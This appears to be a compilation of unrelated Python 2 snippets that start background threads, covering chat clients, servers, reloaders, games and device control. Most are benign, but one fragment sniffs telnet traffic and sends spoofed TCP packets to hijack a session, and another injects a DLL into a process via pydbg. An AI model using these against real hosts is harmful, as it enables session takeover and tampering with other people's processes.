def _insert_parent(self, d): 'create Person document in db for this gplus.id' p = Person(docData=dict(name=d['displayName'])) docData = dict(author=p._id, gplusID=d['id'], topics=[]) thread.start_new_thread(p.update_subscribers, (GplusSubscriptions, docData, d['id'])) return p
def handle_switch_up(self, ev): dp = ev.msg.datapath ofp_parser = dp.ofproto_parser ofp = dp.ofproto self.logger.info("Switch "+str(dp.id)+" says hello.") switch = self.nib.save_switch(dp) self.logger.info("Connected to Switch: "+self.nib.switch_description(dp)) if self.mc != None: # This will block until the controller actually becomes a primary self.mc.handle_datapath(ev) # Start background thread to monitor switch-to-controller heartbeat self.last_heartbeat = time.time() if not self.heartbeat_monitor_started: thread.start_new_thread( self.heartbeat_monitor, (self, ) ) self.heartbeat_monitor_started = True OpenflowUtils.delete_all_rules(dp) OpenflowUtils.send_table_miss_config(dp) self.l2_learning_switch_handler.install_fixed_rules(dp) self.cross_campus_handler.install_fixed_rules(dp) self.arp_handler.install_fixed_rules(dp) self.path_selection_handler.install_fixed_rules(dp)
def login(self): for get_count in range(10): out.print_line('Getting uuid', True) while self.get_QRuuid(): time.sleep(1) out.print_line('Getting QR Code', True) if self.get_QR(): break elif get_count >= 9: out.print_line('Failed to get QR Code, please restart the program') sys.exit() out.print_line('Please scan the QR Code', True) while self.check_login(): time.sleep(1) self.web_init() self.show_mobile_login() while 1: voidUserList = self.get_contract() if not voidUserList: break out.print_line('These uses need new RemarkNames and are added to a group', True) chatRoomName = self.create_chatroom(voidUserList, 'RemarkNames') self.delete_member(chatRoomName, [voidUserList[0]]) self.add_member(chatRoomName, [voidUserList[0]]) while raw_input('Enter "ready" after you rename all of them and DELETE the group: ') != 'ready': pass out.print_line('Start reload contract list', False) out.print_line('Login successfully as %s\n'%( self.storageClass.find_nickname(self.storageClass.userName)), False) log.log('SIGN IN', True) thread.start_new_thread(self.maintain_loop, ())
def __init__(self, vim, launcher, config_path): self.config_path = os.path.abspath(config_path) self.ensime_cache = os.path.join(os.path.dirname(self.config_path), ".ensime_cache") self.launcher = launcher self.log("__init__: in") self.call_id = 0 self.browse = False self.split = False self.vim = vim self.receive_callbacks = {} self.matches = [] self.errors = [] self.vim.command("highlight EnError ctermbg=red gui=underline") if not self.vim.eval("exists(\"g:EnErrorStyle\")"): self.vim.command("let g:EnErrorStyle='EnError'") self.suggests = None self.ensime = None self.no_teardown = False self.open_definition = False self.en_format_source_id = None self.debug_thread_id = None self.ws = None self.queue = Queue.Queue() self.complete_timeout = 20 thread.start_new_thread(self.unqueue_poll, ())
def unzip(self, apkpath): apkpath = unicode(apkpath, "utf8") cmd = "tool\\7z.exe x %s -y -o%s *.dex AndroidManifest.xml lib META-INF assets" print cmd % (apkpath, self.unpackDir) self.ui.progressBar.setMaximum(29) thread.start_new_thread(self.probar_thread, (3, 30)) os.system(cmd % (apkpath, self.unpackDir))
def __init__(self, controls): self.controls = controls ChildTopWindow.__init__(self, _("Download Manager")) self.set_resizable(True) self.set_default_size(900, 700) vbox = Gtk.Box.new(Gtk.Orientation.VERTICAL, 0) #paned = Gtk.HPaned() #paned.set_position(200) self.navigation = DMNavigationTreeControl() self.navigation.append(FDModel(_("All")).add_artist(_("All")).add_status(DOWNLOAD_STATUS_ALL)) self.navigation.append(FDModel(_("Downloading")).add_artist(_("Downloading")).add_status(DOWNLOAD_STATUS_DOWNLOADING)) self.navigation.append(FDModel(_("Completed")).add_artist(_("Completed")).add_status(DOWNLOAD_STATUS_COMPLETED)) self.navigation.append(FDModel(_("Active")).add_artist(_("Active")).add_status(DOWNLOAD_STATUS_ACTIVE)) self.navigation.append(FDModel(_("Inactive")).add_artist(_("Inactive")).add_status(DOWNLOAD_STATUS_INACTIVE)) self.dm_list = DownloadManagerTreeControl(self.navigation) self.navigation.dm_list = self.dm_list #paned.pack1(self.navigation.scroll) #paned.pack2(self.dm_list.scroll) playback = DMControls(self.controls, self.dm_list) vbox.pack_start(playback, False, True, 0) #vbox.pack_start(paned, True, True) vbox.pack_start(self.dm_list.scroll, True, True, 0) self.add(vbox) thread.start_new_thread(self.dowloader, (self.dm_list,))
def newtask(self): with self.running_mutex: self.next_ident += 1 verbose_print("creating task %s" % self.next_ident) thread.start_new_thread(self.task, (self.next_ident,)) self.created += 1 self.running += 1
def test_thread_local(): import thread x = thread._local() #--Sanity x.foo = 42 AreEqual(x.foo, 42) global found found = None def f(): global found found = hasattr(x, 'foo') thread.start_new_thread(f, ()) while found == None: Thread.Sleep(1000) Assert(not found) AreEqual(x.__dict__, {'foo': 42}) try: x.__dict__ = None Fail("Should not be able to set thread._local().__dict__!") except AttributeError, e: pass
def start(self, HOST, PORT): self.connection.connect((HOST, PORT)) print "Connected to server, please log in" thread.start_new_thread(self.receive_messages, ()) while True: data = raw_input() if self.username == "" or data == "": break if data == REQUESTUSERNAME: print self.username continue if data == LOGIN: if self.username is None: requestedUsername = raw_input("Please enter desired username: "******"You are already logged in as [" + self.username + "]" continue elif data == LOGOUT: data_dict = {REQUEST: data} elif data == BACKLOG: data_dict = {REQUEST: data} else: data_dict = {REQUEST: MESSAGE, MESSAGE: data} data_dict[SENDER] = self.username self.connection.sendall(json.dumps(data_dict))
def main(): thread.start_new_thread(serve, ()) app = DevonApp.sharedApplication() delegate = AppDelegate.alloc().init() app.setDelegate_(delegate) app.run()
def _new_thread(func, *args): global TID tid.acquire(); id = TID = TID+1; tid.release() io.acquire(); alive.append(id); \ print 'starting thread', id, '--', len(alive), 'alive'; \ io.release() thread.start_new_thread( func, (id,) + args )
def start(self,inThread=False): time.sleep(2) thread.start_new_thread(self.theardCloseManger, tuple()) if inThread: thread.start_new_thread(self.serverListenStart, tuple()) else: self.serverListenStart()
def attaqueJeu(j="A",rep="0"): # # Phase attaque # Fonction appelee en boucle a chaque coup jusqu a la fin de la partie # Reponse : 0(rate) / 1(touche) / 2(coule) / A(fin A gagne) / B(fin B gagne) # global pseu, fe, popAttaque print "feu non de dieu" if rep=="A" or rep=="B": # FIN PARTIE popAttaque = Frame(root) if rep==pseu[2]: t = "J'ai gagn\xE9 ! Fin de la partie" co = "green" else: t = "J'ai perdu ! Fin de la partie" co = "blue" Label(popAttaque, text=t, bg=co).pack(side=LEFT) popAttaque.pack() popAttaque.place(x=10, y=10) # positionnement dans la fenetre (par dessus) et non en supplement en bas elif j==pseu[2]: # a moi de jouer popAttaque = Frame(root) Label(popAttaque, text="A vous de jouer", bg="blue").pack(side=LEFT) popAttaque.pack() popAttaque.place(x=10, y=10) # positionnement dans la fenetre (par dessus) et non en supplement en bas fe.bind('<Button-1>', clicFeu) else: # A l autre de jouer popAttaque = Frame(root) popAttaque.pack() thread.start_new_thread(autreFeu,(pseu,)) # autreAttaque appelee en asynchrone
def SvcDoRun(self): # Write an event log record - in debug mode we will also # see this message printed. servicemanager.LogMsg( servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, '') ) num_connections = 0 while 1: pipeHandle = CreateNamedPipe("\\\\.\\pipe\\PyPipeTest", PIPE_ACCESS_DUPLEX| FILE_FLAG_OVERLAPPED, PIPE_TYPE_MESSAGE | PIPE_READMODE_BYTE, PIPE_UNLIMITED_INSTANCES, # max instances 0, 0, 6000, self.CreatePipeSecurityObject()) try: hr = ConnectNamedPipe(pipeHandle, self.overlapped) except error, details: print "Error connecting pipe!", details CloseHandle(pipeHandle) break if hr==winerror.ERROR_PIPE_CONNECTED: # Client is already connected - signal event SetEvent(self.overlapped.hEvent) rc = WaitForMultipleObjects((self.hWaitStop, self.overlapped.hEvent), 0, INFINITE) if rc==WAIT_OBJECT_0: # Stop event break else: # Pipe event - spawn thread to deal with it. thread.start_new_thread(self.ProcessClient, (pipeHandle,)) num_connections = num_connections + 1
def game_next_level(self): """ Next Levels if the current level is not the last one(NO.10),then,enter the next level otherwise,popup a window,on which give a hint that the player have success this difficulty,then over the game,waiting for player to choose another difficulty. """ # TODO: change background image self.timer.Stop() if self.game.game_next_level(): thread.start_new_thread(self.playGameSound, ("Win.wav",)) self.get_back() if self.cardback_choice >= 5: self.cardback_choice = 0 else: self.cardback_choice += 1 self.redraw_images() self.refresh_top() self.ui_point1 = wx.Point(-1, -1) self.ui_point2 = wx.Point(-1, -1) self.progress_timeout(9999) self.refresh_top() self.timer.Start() else: self.game_over(True)
def runMatching(self): msgBox = Tk.Toplevel() msg = Tk.Label(msgBox, text = "Matching Data in Background\n\nRestart or Reload Required\n\nFor Changes To Take Effect") msg.pack() thread.start_new_thread(DataClasses.groupData,()) msgBox.update()
def test_manual_locking(self): import thread, os, imp, time, sys f = open(os.path.join(self.tmpdir, 'foobaz2.py'), 'w') f.close() # empty done = [] def f(): sys.path.insert(0, self.tmpdir) import foobaz2 p = sys.path.pop(0) assert p == self.tmpdir done.append(1) assert not imp.lock_held() imp.acquire_lock() assert imp.lock_held() thread.start_new_thread(f, ()) time.sleep(0.9) assert not done assert imp.lock_held() # check that it's a recursive lock imp.acquire_lock() assert imp.lock_held() imp.acquire_lock() assert imp.lock_held() imp.release_lock() assert imp.lock_held() imp.release_lock() assert imp.lock_held() imp.release_lock() assert not imp.lock_held() self.waitfor(lambda: done) assert done
def __init__(self, f, n, wait_before_exit=False): """ Construct a bunch of `n` threads running the same function `f`. If `wait_before_exit` is True, the threads won't terminate until do_finish() is called. """ self.f = f self.n = n self.started = [] self.finished = [] self._can_exit = not wait_before_exit def task(): tid = get_ident() self.started.append(tid) try: f() finally: self.finished.append(tid) while not self._can_exit: _wait() try: for i in range(n): start_new_thread(task, ()) except: self._can_exit = True raise
def __init__(self, threads_count, fail_op, log): self._tasks = Queue() self._results = Queue() for i in xrange(threads_count): thread.start_new_thread(get_remote_data, (self._tasks, self._results, fail_op, log))
def __init__(self, conf): self.set_conf(conf) self.out = Queue.Queue() # responses from the server are placed here self.f = open(fn, 'rb') thread.start_new_thread(self.parse_loop, ())
def openSocket(self): """ Opens a server socket on the port specified in the config files, forks away a thread to handle the incoming requests. """ logger.info("This is node " + str(self.name) + " (uid=" + str(self.uid) + ") coming up") logger.debug("running version: " + version.version) try: sockets = [] for a in self.addresses: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((a, int(self.port))) s.listen(1) sockets.append(s) except Exception as e: logger.warning("Couldn't bind to address "+a+" (Reason: "+str(e)+")") while self.running: readable, writable, errored = select(sockets, [], []) for sock in readable: client_socket, address = sock.accept() logger.debug("connection from "+address[0]) thread.start_new_thread(server.serve, (self, client_socket, address)) except Exception as e: print(e)
def __init__(self, max_conns=5): """Initialize Server object.""" self.server = Server(max_conns) try: start_new_thread(self.server.loop, ()) except sock_error: raise sock_error
def dispatch(input, kind, func, args, autohelp=False): for sieve, in bot.plugs['sieve']: input = do_sieve(sieve, bot, input, func, kind, args) if input == None: return if autohelp and args.get('autohelp', True) and not input.inp \ and func.__doc__ is not None: input.reply(func.__doc__) return if hasattr(func, '_apikeys'): bot_keys = bot.config.get('api_keys', {}) keys = {key: bot_keys.get(key) for key in func._apikeys} missing = [keyname for keyname, value in keys.items() if value is None] if missing: input.reply('error: missing api keys - {}'.format(missing)) return # Return a single key as just the value, and multiple keys as a dict. if len(keys) == 1: input.api_key = keys.values()[0] else: input.api_key = keys if func._thread: bot.threads[func].put(input) else: thread.start_new_thread(run, (func, input))
def handle(self, addrport="", *args, **options): if not addrport: self.addr = '' self.port = DEFAULT_PORT else: m = match(naiveip_re, addrport) if m is None: raise CommandError('"%s" is not a valid port number ' 'or address:port pair.' % addrport) self.addr, _, _, _, self.port = m.groups() # Make the port available here for the path: # socketio_tags.socketio -> # socketio_scripts.html -> # io.Socket JS constructor # allowing the port to be set as the client-side default there. environ["DJANGO_SOCKETIO_PORT"] = str(self.port) start_new_thread(reload_watcher, ()) try: bind = (self.addr, int(self.port)) print print "SocketIOServer running on %s:%s" % bind print handler = self.get_handler(*args, **options) server = SocketIOServer(bind, handler, resource="socket.io", policy_server=True) server.serve_forever() except KeyboardInterrupt: if RELOAD: server.stop() print "Reloading..." restart_with_reloader() else: raise
def display_background(self): "Display a graph page in a background thread." try: import thread thread.start_new_thread(self.display, ()) except ImportError: self.display()
def reloader_run(server, app, interval): if os.environ.get('BOTTLE_CHILD') == 'true': # We are a child process files = dict() for module in sys.modules.values(): file_path = getattr(module, '__file__', None) if file_path and os.path.isfile(file_path): file_split = os.path.splitext(file_path) if file_split[1] in ('.py', '.pyc', '.pyo'): file_path = file_split[0] + '.py' files[file_path] = os.stat(file_path).st_mtime thread.start_new_thread(server.run, (app,)) while True: time.sleep(interval) for file_path, file_mtime in files.iteritems(): if not os.path.exists(file_path): print "File changed: %s (deleted)" % file_path elif os.stat(file_path).st_mtime > file_mtime: print "File changed: %s (modified)" % file_path else: continue print "Restarting..." app.serve = False time.sleep(interval) # be nice and wait for running requests sys.exit(3) while True: args = [sys.executable] + sys.argv environ = os.environ.copy() environ['BOTTLE_CHILD'] = 'true' exit_status = subprocess.call(args, env=environ) if exit_status != 3: sys.exit(exit_status)
def python_reloader(main_func, args, kwargs, check_in_thread=True): """ If ``check_in_thread`` is False, ``main_func`` will be run in a separate thread, and the code checker in the main thread. This was the original behavior of this module: I (Michael Elsdoerfer) changed the default to be the reverse: Code checker in thread, main func in main thread. This was necessary to make the thing work with Twisted (http://twistedmatrix.com/trac/ticket/4072). """ if os.environ.get("RUN_MAIN") == "true": if check_in_thread: thread.start_new_thread(reloader_thread, (), {"softexit": False}) else: thread.start_new_thread(main_func, args, kwargs) try: if not check_in_thread: reloader_thread(softexit=True) else: main_func(*args, **kwargs) except KeyboardInterrupt: pass else: try: sys.exit(restart_with_reloader()) except KeyboardInterrupt: pass
def run(self): """ """ global _Quit # Create Socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((self.host, self.port)) # Listen for connection sock.listen(2) _Quit_Lock.acquire() done = _Quit _Quit_Lock.release() while not done: conn, addr = sock.accept() logger.write_line('Hidden: Got connection from %s' % str(addr)) #print 'got input from ' + self.name connstream = ssl.wrap_socket(conn, certfile = 'cert.pem', server_side = True) thread.start_new_thread(self.handleInput, (connstream, )) time.sleep(0.05) _Quit_Lock.acquire() done = _Quit _Quit_Lock.release()
def __init__(self): printc("Setting up DMCS...") self._options = "\ 1 - (READY) Send Job Information\n\ 2 - (SET) Send Standby Message\n\ 3 - (GO) Send Readout Message\n\ 4 - (RESET) Cancel a Job\n\ 0 - (EXIT) Quit DMCS Simulator\n" self._broker_url = 'amqp://' + AMQP_DMCS_USER + ':' + AMQP_DMCS_PSWD + '@' + AMQP_BROKER_ADDR + ':' + AMQP_BROKER_PORT + '/' + AMQP_BROKER_VHOST printc('Using broker url: %s' % self._broker_url) printc("Declaring and binding exchanges...") printc("Attempting to create a consumer for the '%s' queue." % (Q_DMCS_CONSUME)) self._dmcs_consumer = Consumer(self._broker_url, Q_DMCS_CONSUME) try: printc("Attempting to start the consumer thread...") thread.start_new_thread(self.run_dmcs_consumer, ()) except: printc("Failed to start consumer thread, quitting...") sys.exit() printc("Done setting up consumer thread.") printc("Setting up publisher...") self._publisher = SimplePublisher(self._broker_url) printc("Done creating publisher.") self._job_msg = {} self._job_msg['MSG_TYPE'] = 'JOB' self._job_msg['JOB_NUM'] = 0 self._job_msg['RAFT_NUM'] = 1 self._standby_msg = {} self._standby_msg['MSG_TYPE'] = 'STANDBY' self._readout_msg = {} self._readout_msg['MSG_TYPE'] = 'READOUT' self._stop_msg = {} self._stop_msg['MSG_TYPE'] = 'CANCEL' self._shutdown_msg = {} self._shutdown_msg['MSG_TYPE'] = 'SHUTDOWN'
def on_message(self, message): print 'on_message' + message # # 将message保存起来 # sys_lib.save_message_user_to_user(message, self.session, 'caimi') # # 获取可以发送的消息 # message_sockets_manager.send_massages(self.session, message) thread.start_new_thread(self.send_msss, (message,))
def start_head_fix(self): arg = tuple([1]) thread.start_new_thread(self.head_fix_thread, arg)
def flash_upload(serial_port=conf['serial_port'], resources_dir=conf['rootdir'], firmware=conf['firmware']): firmware = firmware.replace("/", "").replace("\\", "") # make sure no evil injection FIRMWARE = os.path.join(resources_dir, 'firmware', "firmware.%s.hex" % (firmware)) if not os.path.exists(FIRMWARE): print "ERROR: invalid firmware path" print FIRMWARE return if not (conf['hardware'] == 'beaglebone' or conf['hardware'] == 'raspberrypi'): DEVICE = "atmega328p" CLOCK = "16000000" PROGRAMMER = "arduino" BITRATE = "115200" if sys.platform == "darwin": # OSX AVRDUDEAPP = os.path.join(resources_dir, "firmware/tools_osx/avrdude") AVRDUDECONFIG = os.path.join(resources_dir, "firmware/tools_osx/avrdude.conf") # chmod +x st = os.stat(AVRDUDEAPP) os.chmod(AVRDUDEAPP, st.st_mode | stat.S_IEXEC) elif sys.platform == "win32": # Windows AVRDUDEAPP = os.path.join(resources_dir, 'firmware', "tools_win", "avrdude") AVRDUDECONFIG = os.path.join(resources_dir, 'firmware', "tools_win", "avrdude.conf") elif sys.platform == "linux" or sys.platform == "linux2": #Linux AVRDUDEAPP = os.path.join(resources_dir, "/usr/bin/avrdude") AVRDUDECONFIG = os.path.join(resources_dir, "/etc/avrdude.conf") # AVRDUDEAPP = os.path.join(resources_dir, 'firmware', "tools_linux", "avrdude64") # AVRDUDECONFIG = os.path.join(resources_dir, 'firmware', "tools_linux", "avrdude.conf") # chmod +x # st = os.stat(AVRDUDEAPP) # os.chmod(AVRDUDEAPP, st.st_mode | stat.S_IEXEC) # call avrdude, returns 0 on success command = ( '"%(dude)s" -c %(programmer)s -b %(bps)s -P %(port)s -p %(device)s -C "%(dudeconf)s" -Uflash:w:"%(firmware)s":i' % { 'dude': AVRDUDEAPP, 'programmer': PROGRAMMER, 'bps': BITRATE, 'port': serial_port, 'device': DEVICE, 'dudeconf': AVRDUDECONFIG, 'firmware': FIRMWARE }) print command return subprocess.call(command, shell=True) # PROGRAMMER = "avrisp" # old way, required pressing the reset button # os.system('%(dude)s -c %(programmer)s -b %(bps)s -P %(port)s -p %(device)s -C %(dudeconf)s -B 10 -F -U flash:w:%(firmware)s:i' # % {'dude':AVRDUDEAPP, 'programmer':PROGRAMMER, 'bps':BITRATE, 'port':serial_port, 'device':DEVICE, 'dudeconf':AVRDUDECONFIG, 'firmware':FIRMWARE}) # fuse setting taken over from Makefile for reference #os.system('%(dude)s -U hfuse:w:0xd2:m -U lfuse:w:0xff:m' % {'dude':AVRDUDEAPP}) elif conf['hardware'] == 'beaglebone' or conf['hardware'] == 'raspberrypi': # Make sure you have avrdude installed: # beaglebone: # opkg install libreadline5_5.2-r8.9_armv4.ipk # opkg install avrdude_5.10-r1.9_armv7a.ipk # get the packages from http://www.angstrom-distribution.org/repo/ # raspberrypi: # sudo apt-get install avrdude AVRDUDEAPP = "avrdude" AVRDUDECONFIG = "/etc/avrdude.conf" SERIAL_PORT = serial_port DEVICE = "atmega328p" PROGRAMMER = "arduino" # use this for bootloader SERIAL_OPTION = '-P %(port)s' % {'port': SERIAL_PORT} BITRATE = "115200" command = ( '"%(dude)s" -c %(programmer)s -b %(bps)s %(serial_option)s -p %(device)s -C "%(dudeconf)s" -Uflash:w:"%(product)s":i' % { 'dude': AVRDUDEAPP, 'programmer': PROGRAMMER, 'bps': BITRATE, 'serial_option': SERIAL_OPTION, 'device': DEVICE, 'dudeconf': AVRDUDECONFIG, 'product': FIRMWARE }) ### Trigger the atmega328's reset pin to invoke bootloader if conf['hardware'] == 'beaglebone': print "Flashing from BeagleBone ..." # The reset pin is connected to GPIO2_7 (2*32+7 = 71). # Setting it to low triggers a reset. # echo 71 > /sys/class/gpio/export try: fw = file("/sys/class/gpio/export", "w") fw.write("%d" % (71)) fw.close() fwb = file("/sys/class/gpio/export", "w") fwb.write("%d" % (73)) fwb.close() except IOError: # probably already exported pass # set the gpio pin to output # echo out > /sys/class/gpio/gpio71/direction fw = file("/sys/class/gpio/gpio71/direction", "w") fw.write("out") fw.close() fwb = file("/sys/class/gpio/gpio73/direction", "w") fwb.write("out") fwb.close() # set the gpio pin low -> high # echo 1 > /sys/class/gpio/gpio71/value fw = file("/sys/class/gpio/gpio71/value", "w") fw.write("0") fw.flush() fwb = file("/sys/class/gpio/gpio73/value", "w") fwb.write("0") fwb.flush() time.sleep(0.5) fw.write("1") fw.flush() fw.close() fwb.write("1") fwb.flush() fwb.close() time.sleep(0.1) elif conf['hardware'] == 'raspberrypi': print "Flashing from Raspberry Pi ..." import thread import RPi.GPIO as GPIO def trigger_reset(): GPIO.setmode(GPIO.BCM) # use chip pin number pinReset = 2 GPIO.setup(pinReset, GPIO.OUT) GPIO.output(pinReset, GPIO.LOW) time.sleep(0.8) GPIO.output(pinReset, GPIO.HIGH) time.sleep(0.1) thread.start_new_thread(trigger_reset, ()) # GPIO.setmode(GPIO.BCM) # use chip pin number # pinReset = 2 # # GPIO.setup(pinReset, GPIO.OUT) # GPIO.output(pinReset, GPIO.LOW) # time.sleep(0.5) # GPIO.output(pinReset, GPIO.HIGH) # time.sleep(0.1) print command return subprocess.call(command, shell=True)
from time import sleep import time, readline, thread, sys import serial # For Edison # uart = mraa.Uart(0) # print uart.getDevicePath() # ser = serial.Serial(uart.getDevicePath(), 9600) # For Raspberry Pi Zero # ser = serial.Serial('/dev/ttyAMA0', 9600) # For Raspberry Pi 3 ser = serial.Serial('/dev/serial0', 9600) def noisy_thread(): while True: print ser.readline() # Read the newest output from the Arduino # sleep(.1) # Delay for one tenth of a second thread.start_new_thread(noisy_thread, ()) while True: s = raw_input('> ') ser.write(s + '\n') # print s
except: #print [data] print traceback.format_exc() continue #for taxi in taxies: # print 'ID',taxi.taxi_id,'x:',taxi.x,'y:',taxi.y,'prev:',taxi.prev,'status:',taxi.status #print if requests: for req in requests: start = req.start map_canvas.itemconfig(map_squares[start[1]][start[0]], fill='IndianRed1') update_taxies_states(taxies, taxies_state_frame, total) update_requests_frame(requests, handled_requests, requests_frame, total_reqs) update_map(buildings, taxies) def tkloop(): try: while True: f, a, k = q.get_nowait() f(*a, **k) except: pass root.after(100, tkloop) thread.start_new_thread(server_stuff, ()) tkloop() root.mainloop()
def start_file_watcher(path, restart_regex, shutdown): if restart_regex is None: restart_regex = ".*((\\.py)|(\\.config))$" elif not restart_regex: # restart regex set to empty string, no restart behavior return shutdown_manager = _QuiescenceWaiter( shutdown, min_quiescence=float(os.environ.get('WFASTCGI_MIN_QUIESCENCE', 2)), ) def enum_changes(path): """Returns a generator that blocks until a change occurs, then yields the filename of the changed file. Yields an empty string and stops if the buffer overruns, indicating that too many files were changed.""" buffer = ctypes.create_string_buffer(32 * 1024) bytes_ret = ctypes.c_uint32() try: the_dir = CreateFile( path, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 0, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, 0, ) except OSError: maybe_log("Unable to create watcher") return if not the_dir or the_dir == INVALID_HANDLE_VALUE: maybe_log("Unable to create watcher") return while True: ret_code = ReadDirectoryChangesW( the_dir, buffer, ctypes.sizeof(buffer), True, FILE_NOTIFY_CHANGE_LAST_WRITE, ctypes.byref(bytes_ret), None, None, ) if ret_code: cur_pointer = ctypes.addressof(buffer) while True: fni = ctypes.cast(cur_pointer, ctypes.POINTER(FILE_NOTIFY_INFORMATION)) # FileName is not null-terminated, so specifying length is mandatory. filename = ctypes.wstring_at(cur_pointer + 12, fni.contents.FileNameLength // 2) yield filename if fni.contents.NextEntryOffset == 0: break cur_pointer = cur_pointer + fni.contents.NextEntryOffset elif GetLastError() == ERROR_NOTIFY_ENUM_DIR: CloseHandle(the_dir) yield '' return else: CloseHandle(the_dir) return log('wfastcgi.py will restart when files in %s are changed: %s' % (path, restart_regex)) def watcher(path, restart): for filename in enum_changes(path): if not filename: log('wfastcgi.py exiting because the buffer was full') shutdown_manager.poke() elif restart.match(filename): log('wfastcgi.py exiting because %s has changed, matching %s' % (filename, restart_regex)) shutdown_manager.poke() restart = re.compile(restart_regex) start_new_thread(watcher, (path, restart))
pkt=ip/tcp/data send (pkt) i=i+1 tcp=TCP(sport=sport,dport=23,flags=flag,seq=tempseq+i,ack=tempack+i) data="0d00".decode("hex") pkt=ip/tcp/data send (pkt) def print_pkt(pkt): global sport global ack global seq global flag if pkt[TCP].dport==23: print("---------------------------------") print("dst port="+str(pkt[TCP].sport)) sport=pkt[TCP].sport print("ack="+str(pkt[TCP].ack)) ack=pkt[TCP].ack print("seq="+str(pkt[TCP].seq)) seq=pkt[TCP].seq flag=pkt[TCP].flags # prtin("window="+pkt[TCP].window) sport=0 ack=0 seq=0 flag=0 thread.start_new_thread( attack ,(0,0)) pkt=sniff(filter='tcp',prn=print_pkt)##1.1A
def onInit(self,event): """ Initialize telescope systems according to values set in the TCC config file. Enables buttons throughout the GUI that depend on initialized systems to function. Args: event: handler to allow function to be tethered to a wx widget. Tethered to the "Initialize Telescope Systems" button in the initialization tab. Returns: None """ if self.telescope_status.get('initState')==False: self.mro.lon=self.dict['lon'] self.mro.lat=self.dict['lat'] self.horizonlimit=self.dict['horizonLimit'] self.RA_trackrate=self.dict['RAtrackingRate'] self.command_queue = Queue.Queue() #Set up the command queue which pushes commands to the server in a single thread. self.control.slewButton.Enable() self.control.trackButton.Enable() self.control.currentRATRPos.SetLabel(str(self.RA_trackrate)) self.init.atZenithButton.Enable() self.init.syncButton.Enable() self.target.listButton.Enable() self.target.selectButton.Enable() self.target.enterButton.Enable() self.target.removeButton.Enable() self.target.exportButton.Enable() self.target.plot_button.Enable() self.target.airmass_button.Enable() self.target.finder_button.Enable() self.init.parkButton.Enable() self.init.coverposButton.Enable() #Watch Dog Threads thread.start_new_thread(self.timer,()) thread.start_new_thread(self.checkslew,()) thread.start_new_thread(self.getstatus,()) thread.start_new_thread(self.watchstatus,()) thread.start_new_thread(self.displaystatus,()) thread.start_new_thread(self.checkhandPaddle,()) thread.start_new_thread(self.watchcommand,()) self.telescope_status['initState']=True if self.telescope_status.get('initState')==True: self.control.currentJDPos.SetForegroundColour('black') self.control.currentLSTPos.SetForegroundColour('black') self.control.currentUTCPos.SetForegroundColour('black') self.control.currentLocalPos.SetForegroundColour('black') self.control.currentEpochPos.SetForegroundColour('black') self.control.currentRATRPos.SetForegroundColour('black') self.control.currentFocusPos.SetLabel('0.0') self.control.currentFocusPos.SetForegroundColour('black') thread.start_new_thread(self.logstatus,()) if self.protocol != None: self.telescope_status['connectState'] = True else: self.telescope_status['connectState'] = False """ try: self.telescope_status['connectState']=self.server.connectState except NameError: self.telescope_status['connectState']= False """ if self.telescope_status.get('connectState'): self.log("Successfully connected to the telescope.") self.sb.SetStatusText('Connected to Telescope', 3) #self.at_MRO = True #Dev Variable else: self.sb.SetStatusText('ERROR: Telescope Not Responding',3) self.log("Failed to connect to telescope. Restart the application.")
self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() def do_GET(self): self._set_headers() data = json.dumps(LSPToLatency) self.wfile.write(data) print LSPToLatency def run(server_class=HTTPServer, handler_class=Server, port=12345): server_address = ('', port) httpd = server_class(server_address, handler_class) print 'Starting httpd on port ' + str(port) + '....' httpd.serve_forever() if __name__ == "__main__": from sys import argv start_new_thread(getPingTime, ("192.168.1.2", "NY_SF_LSP1")) start_new_thread(getPingTime, ("192.168.2.2", "NY_SF_LSP2")) start_new_thread(getPingTime, ("192.168.3.2", "NY_SF_LSP3")) start_new_thread(getPingTime, ("192.168.4.2", "NY_SF_LSP4")) if len(argv) == 2: run(port=int(argv[1])) else: run()
# print("Error: " + str(errorActual)); # print("velocidad: " + str(velocidad)); errorOld = errorActual PIDvarOld = respuesta if respuesta > 100: respuesta = 100 elif respuesta < -100: respuesta = -10 return respuesta L = [] thread.start_new_thread(input_thread, (L, )) arduino.write("di50$") ruido = 2 errorSensor = ruido reversa = False while True: #ver velocidad serialString = '' serialString = arduino.readline() if serialString == '': rapidezActual = 0 if time.time() - tiempoInicio > 0.3 and rapidezAnterior == rapidezActual: rapidezActual -= 0.05 #PIDvarOld = 0;
print list(gen()) print "Recursing in a thread..." from thread import start_new_thread import time done = 0 def thread_target(): global done recurse(TEST_DEPTH) done = 1 start_new_thread(thread_target, ()) while not done: time.sleep(0.001) s = """ if depth < TEST_DEPTH: depth += 1 exec s """ exec s in {'depth': 0, 's': s, 'TEST_DEPTH': TEST_DEPTH}
import os print os.path import os import time import thread import injection import ctypes from pydbg import pydbg dbg = pydbg(False) inject = injection.inject() #thread.start_new_thread(dbg.load, (r"c:\windows\system32\calc.exe", None, True)) thread.start_new_thread(dbg.load, (r"c:\python27\python.exe", None, True)) while not dbg.pid: time.sleep(0.01) #dbg.pid = 0x11ac #dbg.open_process(dbg.pid) print dbg.pid, os.getcwd() + r"\bootstrap.dll" base = inject.inject_dll(os.getcwd() + r"\bootstrap.dll", dbg.pid) print "Injected" #alternatively use base-local=delta loader_path = dbg.func_resolve_debuggee("bootstrap.dll", "loader_path") start_loader = dbg.func_resolve_debuggee("bootstrap.dll", "start_loader") print start_loader
else: print "\n Done combining audio. " print "\n The audio written to: ", self.outFileLocation def message_handler(self, bus, message): """ Capture the messages on the bus and set the appropriate flag. """ msgType = message.type if msgType == gst.MESSAGE_ERROR: self.pipeline.set_state(gst.STATE_NULL) self.is_playing = False self.error_msg = message.parse_error() elif msgType == gst.MESSAGE_EOS: self.pipeline.set_state(gst.STATE_NULL) self.is_playing = False #Run the program audioMerger = AudioMerger() thread.start_new_thread(audioMerger.run, ()) gobject.threads_init() evt_loop = gobject.MainLoop() evt_loop.run()
def listen_thread(socket): while True: socket.listen(10) conn, addr = socket.accept() thread.start_new_thread(conn_process_thread, (conn, addr))
